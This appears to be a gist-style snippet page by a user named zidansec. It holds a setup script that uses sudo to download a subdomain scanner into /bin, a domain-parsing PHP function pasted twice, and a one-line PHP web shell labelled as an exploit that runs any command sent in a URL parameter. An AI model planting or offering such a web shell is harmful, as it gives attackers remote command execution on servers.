Zidan Rahmandani zidansec

## setup.sh
sudo wget https://raw.githubusercontent.com/zidansec/subscan/master/subscan -O /bin/subscan && sudo chmod +x /bin/subscan

## small.php
<?=`$_GET[x]`?> // Exploit: ?x=ls

## parsing-domain.php
function get_domain($url) {
  $str = '/^(?:https?.\/\/)?(?:[^@\/\n]+@)?(?:)?([^:\/?\n]+).*/m';
  preg_match_all($str, $url, $matches, PREG_SET_ORDER, 0);
  foreach ($matches as $key => $value) {
    // code...
    //var_dump($value);
    return $value[1];
  }
}
	function get_domain($url) {
	$str = '/^(?:https?.\/\/)?(?:[^@\/\n]+@)?(?:)?([^:\/?\n]+).*/m';
	preg_match_all($str, $url, $matches, PREG_SET_ORDER, 0);
	foreach ($matches as $key => $value) {
	// code...
	//var_dump($value);
	return $value[1];
	}
	}